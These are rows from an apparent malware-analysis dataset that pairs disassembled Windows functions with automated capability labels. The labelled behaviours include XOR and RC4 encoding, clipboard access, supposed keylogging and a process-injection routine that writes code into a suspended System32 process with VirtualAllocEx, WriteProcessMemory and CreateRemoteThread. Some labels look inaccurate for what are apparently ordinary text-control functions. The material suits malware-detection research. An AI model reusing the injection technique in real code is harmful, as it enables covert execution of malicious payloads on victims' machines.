joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011c1c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor r9d, r9d
mov r11d, edx
mov esi, r8d
mov r10, rcx
test edx, edx
jle 0x140011cb4
mov rbx, qword [0x14003e7a0]
test rbx, rbx
je 0x140011cb4
mov eax, dword [0x14003e798]
test eax, eax
jne 0x140011c91
mov edx, r9d
mov dil, byte [r10]
mov r8d, r9d
movzx ebp, dl
lea ecx, [r8*8]
mov eax, esi
shr eax, cl
inc r8d
movzx ecx, al
shl ecx, 8
add ecx, ebp
xor dil, byte [rcx + rbx]
mov byte [r10], dil
cmp r8d, 4
jl 0x140011c61
inc edx
inc r10
cmp edx, r11d
jl 0x140011c58
jmp 0x140011cae
cmp eax, esi
jne 0x140011cb4
mov rdx, r11
movzx eax, r9b
inc r9
mov cl, byte [rax + rbx]
xor byte [r10], cl
inc r10
sub rdx, 1
jne 0x140011c98
mov r9d, 1
mov rbx, qword [rsp + 8]
mov eax, r9d
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x140011f08
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx + 0x34], 0
mov rbx, rcx
je 0x140011fe2
and dword [rcx + 0x34], 0
mov rcx, qword [rcx + 0xe0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rbx + 0x18]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140011f5a
lea rcx, str.Wait_For_Finish_CommThread_Timeout
call fcn.140008848
mov rcx, qword [rbx + 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x10]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
test eax, eax
jne 0x140011f81
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.EscapeCommFunction_CLRDTR__Error_d
call fcn.140008848
mov rcx, qword [rbx + 0x10]
lea rdx, [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_SetCommTimeouts]
test eax, eax
jne 0x140011fa7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetCommTimeouts_Restoration_to_original__Error_d
call fcn.140008848
mov rcx, qword [rbx + 0x10]
mov edx, InitCommonControls
call qword [sym.imp.KERNEL32.dll_PurgeComm]
test eax, eax
jne 0x140011fce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.PurgeComm___Error_d
call fcn.140008848
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x140012144
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xb0
cmp dword [rcx + 0x34], 0
mov rdi, rdx
mov rbx, rcx
jne 0x140012254
mov qword [rcx], rdx
mov dword [rcx + 8], r8d
movzx ecx, byte [rcx + 0x50]
call fcn.140012a14
mov qword [rbx + 0x10], rax
cmp rax, 0xffffffffffffffff
jne 0x1400121b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx r8d, byte [rbx + 0x50]
lea rdx, str.COM_d_device_not_ready_or_busy__Error_d_
mov r9d, eax
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140003f14
jmp 0x140012254
lea rdx, [rbx + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
test eax, eax
jne 0x1400121d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetCommTimeouts___Error_d
call fcn.140008848
mov rcx, rbx
call fcn.1400123e0
mov rcx, qword [rbx + 0x10]
mov edx, 0x400
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_SetupComm]
mov rcx, qword [rbx + 0x10]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
test eax, eax
jne 0x140012216
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.EscapeCommFunction_SETDTR__Error_d
call fcn.140008848
mov rcx, qword [rbx + 0xe0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xc0]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x140012550]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x18], rax
mov dword [rbx + 0x34], 1
mov eax, dword [rbx + 0x34]
mov rbx, qword [rsp + 0xc8]
add rsp, 0xb0
pop rdi
ret
Function at 0x1400164ac
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov r15, rcx
mov rcx, qword [rcx]
call qword [sym.imp.USER32.dll_HideCaret]
mov rcx, qword [r15]
call qword [sym.imp.USER32.dll_GetDC]
mov ebp, dword [r15 + 0x2c]
mov rcx, rax
sub ebp, dword [r15 + 0x10]
mov r14, rax
mov edi, dword [r15 + 0x14]
imul ebp, dword [0x14003efb8]
add edi, dword [r15 + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, dword [0x14003efb8]
mov edx, edi
mov rcx, r14
mov rsi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
mov edx, 1
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.GDI32.dll_SetBkMode]
mov ecx, dword [0x14003efb8]
mov r9d, edi
mov dword [rsp + 0x20], ecx
xor r8d, r8d
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.USER32.dll_SetRect]
mov r8, qword [0x14003efb0]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.USER32.dll_FillRect]
mov r9d, dword [r15 + 8]
lea rcx, [rsp + 0x60]
mov eax, dword [0x14003efb8]
sub r9d, 4
xor r8d, r8d
mov dword [rsp + 0x20], eax
xor edx, edx
call qword [sym.imp.USER32.dll_SetRect]
mov r8, qword [0x14003efa8]
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.USER32.dll_FillRect]
mov edx, dword [r15 + 0x2c]
mov rcx, r15
call fcn.140013f78
mov r9d, dword [r15 + 0x2c]
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x20], eax
mov rcx, r15
call fcn.140016650
mov r9d, dword [0x14003efb8]
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call fcn.140016340
mov eax, dword [0x14003efb8]
lea r8d, [rbp + 4]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, edi
and dword [rsp + 0x38], 0
xor edx, edx
and dword [rsp + 0x30], 0
mov rcx, r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rax
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
mov rcx, qword [r15]
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, qword [r15]
call qword [sym.imp.USER32.dll_ShowCaret]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140018c7c
Capabilities:
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x4c]
lea rsi, [rcx + 0x50]
mov r15d, dword [rcx + 0x28]
lea rdi, [rcx + 0x48]
mov r12d, dword [rcx + 0x2c]
xor ebp, ebp
mov rbx, rcx
cmp dword [rcx + 0x44], eax
jne 0x140018cbf
mov eax, dword [rsi]
mov r14d, ebp
cmp dword [rdi], eax
je 0x140018cc5
mov r14d, 1
call fcn.140019548
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xf
mov ecx, dword [rbx + 0x28]
mov dword [rbx + 0x4c], ecx
mov edx, dword [rbx + 0x2c]
mov dword [rsi], edx
jae 0x140018ced
or r14d, 0xffffffff
jmp 0x140018d2d
mov dword [rbx + 0x44], ecx
mov rcx, qword [rbx]
mov dword [rdi], edx
call qword [sym.imp.USER32.dll_SetCapture]
mov rcx, rbx
call fcn.14001e790
mov r8d, r15d
mov r9d, r12d
mov r15d, 3
mov rcx, rbx
mov edx, r15d
call fcn.140029654
mov r9d, dword [rbx + 0x2c]
mov edx, r15d
mov r8d, dword [rbx + 0x28]
mov rcx, rbx
call fcn.140029654
mov eax, dword [rbx + 0x4c]
cmp dword [rbx + 0x44], eax
jne 0x140018d3b
mov eax, dword [rsi]
cmp dword [rdi], eax
je 0x140018d40
mov ebp, 1
cmp ebp, r14d
je 0x140018d54
mov rcx, qword [rbx]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.USER32.dll_InvalidateRect]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140019788
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov edi, InitCommonControls
test eax, eax
jne 0x1400197c3
mov ecx, edi
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x1400198ad
mov eax, dword [rbx + 0x4c]
cmp dword [rbx + 0x44], eax
jne 0x1400197d3
mov eax, dword [rbx + 0x50]
cmp dword [rbx + 0x48], eax
je 0x1400197db
mov rcx, rbx
call fcn.140016238
mov rcx, rbx
call fcn.140019a34
test eax, eax
je 0x1400198ad
mov rcx, qword [rbx]
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x1400198a7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8d, dword [rbx + 0x28]
xor ecx, ecx
mov rdx, rax
mov rbp, rax
call fcn.140016cdc
mov edx, 0x7e1
lea ecx, [rax + rax]
call fcn.1400013f4
mov rsi, rax
test rax, rax
je 0x14001989e
mov r8d, dword [rbx + 0x28]
mov rdx, rbp
mov rcx, rax
call fcn.140016cdc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, dword [rbx + 0x2c]
xor edx, edx
mov r8d, dword [rbx + 0x28]
mov rcx, rbx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call fcn.140029690
mov edx, dword [rbx + 0x40]
mov rcx, rbx
call fcn.140029988
mov r8d, dword [rbx + 0x40]
mov rdx, rsi
mov rcx, rbx
call fcn.140017c40
mov r9d, dword [rbx + 0x2c]
xor edx, edx
mov r8d, dword [rbx + 0x28]
mov rcx, rbx
call fcn.140029654
mov rcx, rsi
call fcn.14000522c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14001a854
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x4c]
xor edi, edi
mov rbx, rcx
cmp dword [rcx + 0x44], eax
jne 0x14001a878
mov eax, dword [rcx + 0x50]
cmp dword [rcx + 0x48], eax
je 0x14001a8e1
xor edx, edx
call fcn.1400173d0
test eax, eax
je 0x14001a8e1
movsxd rdx, eax
mov ecx, 0x2002
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x14001a8e1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
mov rcx, rbx
call fcn.1400173d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, qword [rbx]
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, InitCommonControls
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov edi, 1
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001aa9c
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea eax, [rdx - 0x21]
mov edi, edx
mov rbx, rcx
cmp eax, 7
ja 0x14001ab57
mov ecx, reloc.WS2_32.dll_recv
test r8d, r8d
jne 0x14001aaf0
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xf
jae 0x14001ab57
mov eax, dword [rbx + 0x4c]
cmp dword [rbx + 0x44], eax
jne 0x14001ab57
mov eax, dword [rbx + 0x50]
cmp dword [rbx + 0x48], eax
jne 0x14001ab57
mov eax, dword [rbx + 0x28]
mov dword [rbx + 0x44], eax
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x48], eax
jmp 0x14001ab57
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xf
jae 0x14001ab26
cmp dword [rbx + 0x40], 0
mov eax, dword [rbx + 0x28]
mov dword [rbx + 0x4c], eax
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x50], eax
jne 0x14001ab46
lea eax, [rdi - 0x23]
cmp eax, 2
jbe 0x14001ab1c
cmp edi, 0x27
jne 0x14001ab46
mov rcx, rbx
call fcn.1400164ac
jmp 0x14001ab57
mov eax, dword [rbx + 0x4c]
cmp dword [rbx + 0x44], eax
jne 0x14001ab36
mov eax, dword [rbx + 0x50]
cmp dword [rbx + 0x48], eax
je 0x14001ab57
and dword [rbx + 0x50], 0
and dword [rbx + 0x4c], 0
and dword [rbx + 0x48], 0
and dword [rbx + 0x44], 0
mov rcx, qword [rbx]
mov r8d, 1
xor edx, edx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14001f4a8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x20
movsx eax, word [rcx]
lea r8, [rcx + 0x10]
mov r10, rcx
bt eax, 0xf
jb 0x14001f512
bt eax, 0xe
jb 0x14001f58e
cmp eax, 1
jl 0x14001f58e
mov r9d, 0x1c
cmp eax, r9d
jge 0x14001f599
dec r8
lea ecx, [r9 - 1]
and byte [r8], 0xf0
sub cl, al
je 0x14001f599
mov byte [r8], 0
add cl, 0xff
je 0x14001f599
dec r8
and byte [r8], 0xf0
add cl, 0xff
jne 0x14001f4f3
add rsp, 0x20
pop rbx
ret
btr eax, 0xf
bt eax, 0xe
jb 0x14001f58e
cmp eax, 1
jl 0x14001f58e
mov r9d, 0x1c
cmp eax, r9d
jge 0x14001f599
sub r9b, al
xor r11b, r11b
dec r8
lea eax, [r11 + 1]
movzx ecx, al
movzx eax, r11b
mov dl, byte [r8]
mov bl, dl
and dl, 0xf0
cmp dl, bl
mov byte [r8], dl
cmove ecx, eax
movzx r11d, cl
mov ecx, r11d
add r9b, 0xff
je 0x14001f575
lea eax, [r11 + 1]
mov byte [r8], 0
test bl, bl
movzx r11d, al
cmove r11d, ecx
add r9b, 0xff
jne 0x14001f532
test r11b, r11b
je 0x14001f599
lea rdx, [0x1400364a8]
mov rcx, r10
add rsp, 0x20
pop rbx
jmp fcn.140020698
xor edx, edx
lea r8d, [rdx + 0x10]
call sub.ntdll.dll_memset
add rsp, 0x20
pop rbx
ret
Function at 0x140021974
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r14, rdx
mov r15, rcx
mov rcx, qword [rsp + 0x70]
mov edx, 0x1778
mov ebp, r9d
mov rdi, r8
xor ebx, ebx
call fcn.14000a154
mov rsi, rax
test rax, rax
je 0x140021a20
lea edx, [rbx + 0x2f]
mov rcx, rax
lea r8d, [rbx + 0x5c]
call fcn.1400027ac
mov r9, rdi
mov qword [rsp + 0x28], rsi
lea r8, [0x1400349f0]
mov dword [rsp + 0x20], ebp
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ebx, eax
test eax, eax
je 0x140021a20
mov edx, 0x1778
mov rcx, rdi
call fcn.140004e3c
mov rbx, rax
test rax, rax
je 0x140021a1e
mov r8d, ebp
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
mov rcx, rbx
call fcn.14000522c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
jmp 0x140021a20
xor ebx, ebx
mov rcx, rsi
call fcn.14000522c
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x20]
sub rax, 0xffffffffffffff80
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp + 0x20]
jne 0x4015a3
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
jmp 0x4015a4
nop
add rsp, 0x50
pop rbp
ret

Function at 0x4015aa
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x880], rcx
mov dword [rbp + 0x888], edx
mov qword [rbp + 0x890], r8
mov qword [rbp + 0x858], 0
cmp qword [rbp + 0x890], 0
je 0x4015f2
mov rax, qword [rbp + 0x890]
movzx eax, byte [rax]
test al, al
jne 0x401607
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x858], rax
jmp 0x40170e
lea rax, [rbp + 0x7f0]
mov r8, rax
mov eax, 0
mov edx, 0xd
mov rdi, r8
mov rcx, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x7f0], 0x68
lea rax, [rbp + 0x7d0]
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
lea rax, [rbp + 0x3d0]
mov r8d, 0x400
mov rdx, rax
lea rcx, str.windir
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rcx, str._sSystem32_s
lea r8, [rbp + 0x3d0]
lea rax, [rbp - 0x30]
mov rdx, qword [rbp + 0x890]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0x400
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__snprintf]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x7d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x7f0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x40173c
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x40173f
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x858]
mov r8, rdx
mov rdx, qword [rbp + 0x880]
mov rcx, rax
call fcn.004014f0
jmp 0x401740
nop
jmp 0x401740
nop
add rsp, 0x8e8
pop rdi
pop rbp
ret
Function at 0x402210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
test r8, r8
mov rbx, rcx
mov rdi, rdx
mov rsi, r8
jne 0x402240
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, dword [0x00450360]
test ecx, ecx
jle 0x402417
mov rax, qword [0x00450358]
xor ebp, ebp
nop word [rax + rax]
mov rdx, qword [rax + 8]
cmp rbx, rdx
jb 0x40227d
mov r8, qword [rax + 0x10]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402390
add ebp, 1
add rax, 0x18
cmp ebp, ecx
jne 0x402260
mov rcx, rbx
call fcn.00402890
test rax, rax
mov r12, rax
je 0x40241e
movsxd rbp, ebp
lea r13, [rbp + rbp*2]
shl r13, 3
mov rbp, r13
add rbp, qword [0x00450358]
mov qword [rbp + 0x10], rax
mov dword [rbp], 0
call fcn.00402980
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [0x00450358]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r13 + 8]
call rbp
test rax, rax
je 0x40242d
mov eax, dword [rsp + 0x74]
cmp eax, 4
jne 0x402350
add dword [0x00450360], 1
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call rbp
test rax, rax
je 0x40244a
mov eax, dword [rsp + 0x44]
cmp eax, 4
jne 0x4023a0
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
cmp eax, 0x40
je 0x402300
mov r9, qword [0x00450358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402300
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004021a0
nop dword [rax]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x402307
cmp eax, 0x40
je 0x402329
lea r9, [rsp + 0x8c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x44]
cmp eax, 0x40
je 0x40222d
cmp eax, 4
je 0x40222d
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0x20]
call rbp
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor ebp, ebp
jmp 0x402288
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004021a0
mov rax, qword [0x00450358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r13 + 8]
call fcn.004021a0
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.004021a0
nop
nop

Function at 0x402770
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
je 0x402780
repz ret
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x402779
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402e00
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00450940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00450968]
test rbx, rbx
je 0x402e54
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402e4b
test rbp, rbp
je 0x402e4b
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402e30
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00450940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x180001010
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x188
mov rax, qword [0x180027100]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180001077
mov qword [rsp + 0x88], 0
jmp 0x1800011d0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp dword [rax], 0x4550
je 0x1800010b0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
jmp 0x1800011d0
mov rdx, qword [rsp + 0x58]
add rdx, 0x18
lea rcx, [rsp + 0x90]
mov r8d, 0xf0
call fcn.18001bab0
cmp dword [rsp + 0x100], 0
jne 0x1800010ec
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
jmp 0x1800011d0
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x100]
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x50]
cmp eax, dword [rcx + 0x18]
jae 0x1800011c3
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x38]
mov r8d, dword [rsp + 0x34]
mov eax, dword [rax + r8*4]
add rcx, rax
call fcn.18001100c
cmp eax, 0
jne 0x1800011ae
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x34]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x68], rax
jmp 0x1800011c3
jmp 0x1800011b3
mov eax, dword [rsp + 0x34]
add eax, 1
mov dword [rsp + 0x34], eax
jmp 0x180001147
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.18000ebd0
mov rax, qword [rsp + 0x28]
add rsp, 0x188
ret